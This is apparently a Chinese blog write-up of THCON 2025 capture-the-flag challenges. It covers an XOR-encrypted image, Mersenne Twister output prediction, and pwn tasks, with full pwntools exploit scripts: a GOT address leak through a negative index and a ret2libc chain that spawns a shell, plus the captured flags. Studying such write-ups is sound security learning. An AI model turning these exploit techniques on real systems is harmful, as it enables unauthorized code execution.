当前位置: 首页 > news >正文

THCON 2025

Crypto

OTPas_ouf

用10个字符异或加密的jpg图片,通过头得到key再恢复原图

Mammoth's Personnal Slot Machine

梅森旋转恢复

from pwn import *
from randcrack import RandCrack
from tqdm import trange
context.log_level = 'error'p = remote('74.234.198.209', 33004)rc = RandCrack()
for i in trange(624):p.sendlineafter(b":\n", b'0')p.recvuntil(b"The number was ")v = int(p.recvuntil(b'. ', drop=True))rc.submit(v)context.log_level = 'debug'
v = rc.predict_getrandbits(32)
p.sendlineafter(b":\n", str(v).encode())
print(p.recvline())
print(p.recvline())p.interactive()#THC{1ts_H4rD_T0_H4v3_Tru3_RNG}

PWN

XSStorage 1/3 2/3

前两关其实没有难,就是读代码找到打包输入的格式。后边走到相应的路由就能拿到flag

第3步3/3是0解,没找到溢出或者漏洞。

from pwn import *
context(arch='amd64', log_level='debug')#p = process('./xsstorage')
#gdb.attach(p, "b*0x5555555557c8\nc")
p = remote('74.234.198.209', 33553)p.send(b'\0\0')
name = b'butch3r'p.send(b'\x01'+bytes([len(name)])+name)
p.send(b'a'*16)
#THC{4u7h_by_0ne-b2294d90}#readdir
p.send(b'\0\x04')
#2 readfile
p.send(b'\0\x02'+p16(0x50)+ p8(18)+b'flag-80dd993f.txt\0')
#THC{l34ky_l34ky_ch3cksum-89723c2a}p.interactive()

BlackMarket 1/2 2/2

在执行buy_exploit(v3)时批针可以前溢出,向前-21处是got表,先泄露地址再通过栈溢出得到shell.

int __cdecl main(int argc, const char **argv, const char **envp)
{int v3; // eaxbanner();printf("Hello person, please enter a temporary username used for your connection: ");fgets(logged_user, 256, stdin);printf("Now, enter your email so we can contact you later: ");fgets(byte_4041C0, 256, stdin);byte_4042C8 = 1;dov3 = menu();while ( (unsigned __int8)buy_exploit(v3) != 1 );return 0;
}
from pwn import *
context(arch='amd64', log_level='debug')libc = ELF('./libc.so.6')#p = process('./black-market')
#gdb.attach(p, "b*0x401542\nc")
p = remote('74.234.198.209', 32844)p.sendlineafter(b"Hello person, please enter a temporary username used for your connection: ", b'A'*0x10+flat(0x404020,0x404028))
p.sendlineafter(b"Now, enter your email so we can contact you later: ", b'A')p.sendlineafter(b'> ', b'-21')
p.recvuntil(b"Exploit \"")
libc.address = u64(p.recv(6)+b'\0\0') - libc.sym['puts']
print(f"{libc.address = :x}")pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pay = b'\0'*0xd8 + flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')) ,libc.sym['system'])
p.sendlineafter(b"Let us know your PGP public key to send you the exploit securely:", pay)
p.interactive()#THC{unb0und3d_3xpl0175-186f1dac}
#cd /;read_flag  #THC{r3t2l1bc_101-a03670f2}

相关文章:

  • 向量数据库Qdrant 安装 不使用docker
  • Windows进行磁盘分区/扩容
  • vue3项目如何在index.html中根据环境(开发,生产)动态切换js src路径
  • 事件触发控制与响应驱动控制的定义、种类及区别
  • 大模型LLMs的MCP入门
  • MySQL-GROUP_CONCAT函数
  • WPS表格中设置折线图随数据列自动变化——存钱计划
  • 冲刺计划中的任务列表应该怎么写?
  • Linux驱动开发进阶(九)- SPI子系统BSP驱动
  • C# 程序结构||C# 基本语法
  • 类的生命周期
  • YOLOv2训练详细实践指南
  • C++开发中的DUMP文件:解决崩溃与性能问题的利器(全文字数2w+)
  • 时间序列:A TIME SERIES IS WORTH 64 WORDS: LONG-TERM FORECASTING WITH TRANSFORMERS
  • 【实战中提升自己】 防火墙篇之VPX部署–L2TP over IPSEC
  • CTF--eval
  • 控制反转(IoC)和依赖注入(DI)实现及常用注解
  • 怎样利用 macOS 自带功能快速进行批量重命名文件教程
  • 服务器内存规格详解
  • 饭店管理系统(下篇):程序打包为exe给用户使用
  • 亚洲大厦和一个被音乐剧改变的街区
  • 鑫苑置业债权人向美国法院申请Chapter 11破产保护
  • 缅甸强震已致该国3725人死亡
  • 言短意长|无锡站,想说爱你不容易
  • 光明网评论员:治理学术不端如何更精准有效